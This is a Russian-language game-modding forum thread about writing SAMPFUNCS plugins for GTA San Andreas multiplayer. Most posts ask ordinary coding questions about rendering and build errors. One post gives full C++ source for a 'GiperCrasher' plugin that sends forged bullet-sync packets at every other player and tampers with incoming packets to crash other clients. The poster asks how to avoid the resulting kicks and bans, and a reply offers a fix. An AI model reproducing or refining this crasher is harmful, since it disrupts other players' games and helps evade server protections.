 |
|

05.05.2015, 19:32
|
|
Постоянный
Регистрация: 27.12.2014
Сообщений: 550
С нами:
5987262
Репутация:
0
|
|
Сообщение от urShadow
Предложи тему уроков, напишу.
примеры работы из классом CGAME (Телепортация игрока, поиск актёров в стриме(по флагам/рандомно/ближайших) и тд.)
|
|
|

16.05.2015, 00:50
|
|
Постоянный
Регистрация: 27.12.2014
Сообщений: 550
С нами:
5987262
Репутация:
0
|
|
Денис, добавь больше готовых функций на отправку рпц пожалуйста.
|
|
|

22.05.2015, 21:47
|
|
Участник форума
Регистрация: 04.02.2014
Сообщений: 104
С нами:
6456767
Репутация:
68
|
|
Сообщение от urShadow
Предложи тему уроков, напишу.
Го про МТА классы
|
|
|

23.05.2015, 14:55
|
|
Познающий
Регистрация: 03.11.2014
Сообщений: 43
С нами:
6065807
Репутация:
0
|
|
http://blasthack.net/wiki/tutorials:api_lesson_render
Жутко лагает игра, так и должно быть или я что то не правильно делаю?
PHP:
Код:
bool
CALLBACK
Present
(
CONST
RECT
*
pSourceRect
,
CONST
RECT
*
pDestRect
,
HWND
hDestWindowOverride
,
CONST
RGNDATA
*
pDirtyRegion
)
{
if
(
SUCCEEDED
(
SF
-
>
getRender
(
)
-
>
BeginRender
(
)
)
)
// если девайс готов к рисованию
{
pFont
=
SF
-
>
getRender
(
)
-
>
CreateNewFont
(
"Tahoma"
,
12
,
FCR_BORDER
)
;
pFont
-
>
Print
(
"текст"
,
D3DCOLOR_ARGB
(
35
,
30
,
220
,
0
)
,
500
,
500
,
false
)
;
SF
-
>
getRender
(
)
-
>
DrawBox
(
500
,
500
,
25
,
25
,
D3DCOLOR_ARGB
(
255
,
0
,
255
,
0
)
)
;
SF
-
>
getRender
(
)
-
>
EndRender
(
)
;
// завершаем рисование
}
;
return
true
;
// возвращаем положительный результат
}
;
|
|
|

23.05.2015, 16:14
|
|
Новичок
Регистрация: 09.03.2013
Сообщений: 21
С нами:
6934813
Репутация:
0
|
|
CreateNewFont должен быть вызван один раз, при инициализации плагина, а у тебя вызывается каждый раз перед рисованием.
|
|
|

24.05.2015, 17:49
|
|
Участник форума
Регистрация: 04.02.2014
Сообщений: 104
С нами:
6456767
Репутация:
68
|
|
urShadow, не проверял, работает ли SF->getGame()->emulateGTAKey(11, 255);?
|
|
|

30.05.2015, 16:57
|
|
Познающий
Регистрация: 21.05.2014
Сообщений: 77
С нами:
6304276
Репутация:
0
|
|
G:\SFP\SFPlugin\SFPlugin\game_api\sdk\SharedUtil.F astHashMap.h|21|fatal error: google\dense_hash_map: No such file or directory|
Что с этой ошибкой делать? Файл такой есть по нужному пути.
|
|
|

31.05.2015, 20:38
|
|
Новичок
Регистрация: 06.08.2004
Сообщений: 1
С нами:
11453422
Репутация:
0
|
|
ЧЕ НЕ ТАК ВРОДЕ ВСЕ РАБОТАЕТ ПОСЛЕ АКТИВАЦИИ РЕСТАРТ КИК ИЛИ БАН ЧЕРЕЗ КАКОЕ ТО ВРЕМЯ МОЖ ЗАДЕРЖКУ БОЛЬШЕ НАДО
Код:
Код:
#include
#include
#include
#include
#include "SAMPFUNCS_API.h"
#include "game_api\game_api.h"
SAMPFUNCS *SF = new SAMPFUNCS();
bool gipercrasher = false;
void Crasher( void )
{
for(int i = 0; i getSAMP()->getPlayers()->iIsListed != 1)
continue;
if(i == SF->getSAMP()->getPlayers()->sLocalPlayerID)
continue;
stBulletData BulletData;
BitStream bsBulletData;
memset(&BulletData, 0, sizeof(stBulletData));
BulletData.byteType = 1;
BulletData.sTargetID = i;
BulletData.fCenter[0] = 0.0;
BulletData.fCenter[1] = 0.0;
BulletData.fCenter[2] = 0.0;
BulletData.fOrigin[0] = SF->getSAMP()->getPlayers()->pLocalPlayer->onFootData.fPosition[0];
BulletData.fOrigin[1] = SF->getSAMP()->getPlayers()->pLocalPlayer->onFootData.fPosition[1];
BulletData.fOrigin[2] = SF->getSAMP()->getPlayers()->pLocalPlayer->onFootData.fPosition[2];
BulletData.fTarget[0] = SF->getSAMP()->getPlayers()->pRemotePlayer->pPlayerData->onFootData.fPosition[0];
BulletData.fTarget[1] = SF->getSAMP()->getPlayers()->pRemotePlayer->pPlayerData->onFootData.fPosition[0];
BulletData.fTarget[2] = SF->getSAMP()->getPlayers()->pRemotePlayer->pPlayerData->onFootData.fPosition[0];
bsBulletData.Write((BYTE)ID_BULLET_SYNC);
bsBulletData.Write((PCHAR)&BulletData, sizeof(stBulletData));
SF->getRakNet()->SendPacket(&bsBulletData);
}
};
bool CALLBACK InPacketHook(stRakNetHookParams *params)
{
if (params->packetId == PacketEnumeration::ID_BULLET_SYNC && gipercrasher == true)
{
stBulletData bSync;
unsigned short ID;
params->bitStream->IgnoreBits(8);
params->bitStream->Read(ID);
params->bitStream->Read((PCHAR)&bSync, sizeof(stBulletData));
if( bSync.byteWeaponID == NULL )
{
memset(&bSync, 0, sizeof(stBulletData));
unsigned char PacketID;
params->bitStream->ResetReadPointer();
params->bitStream->Read(PacketID);
params->bitStream->Read((PCHAR)&bSync, sizeof(stBulletData));
params->bitStream->ResetReadPointer();
bSync.byteWeaponID = 24;
bSync.sTargetID = 0;
params->bitStream->ResetWritePointer();
params->bitStream->Write(PacketID);
params->bitStream->Write((PCHAR)&bSync, sizeof(stBulletData));
}
}
return true;
};
void CALLBACK CMD(std::string param)
{
if (gipercrasher == false)
{
gipercrasher = true;
SF->getSAMP()->getChat()->AddChatMessage(D3DCOLOR_XRGB(0, 255, 0), "GiperCrasher Enable");
}
else
{
gipercrasher = false;
SF->getSAMP()->getChat()->AddChatMessage(D3DCOLOR_XRGB(255, 0, 0), "GiperCrasher Disable");
}
};
void CALLBACK mainloop()
{
static bool init = false;
static DWORD dwTime = GetTickCount();
if(dwTime GetSystemState() != eSystemState::GS_PLAYING_GAME)
return;
GAME->GetAudio()->PlayBeatTrack(2);
if (!SF->getSAMP()->IsInitialized())
return;
SF->getSAMP()->registerChatCommand("gcrash", CMD);
SF->getSAMP()->getChat()->AddChatMessage( D3DCOLOR_XRGB( 0, 0xAA, 0 ), "GiperCrasher by Julia loaded." );
SF->getRakNet()->registerRakNetCallback(RakNetScriptHookType::RAKHOOK_TYPE_INCOMING_PACKET, InPacketHook);
init = true;
}
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReasonForCall, LPVOID lpReserved)
{
switch (dwReasonForCall)
{
case DLL_PROCESS_ATTACH:
SF->initPlugin(mainloop, hModule);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
|
|
|

01.06.2015, 00:24
|
|
Флудер
Регистрация: 26.10.2013
Сообщений: 4,924
С нами:
6603505
Репутация:
183
|
|
Сообщение от Julia
void Crasher( void )
не void, а bool, и в конце return true; в wiki же есть пример
|
|
|

01.06.2015, 00:26
|
|
Новичок
Регистрация: 06.08.2004
Сообщений: 1
С нами:
11453422
Репутация:
0
|
|
Сообщение от SR_team
не void, а bool, и в конце return true; в wiki же есть пример
спс проверю
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|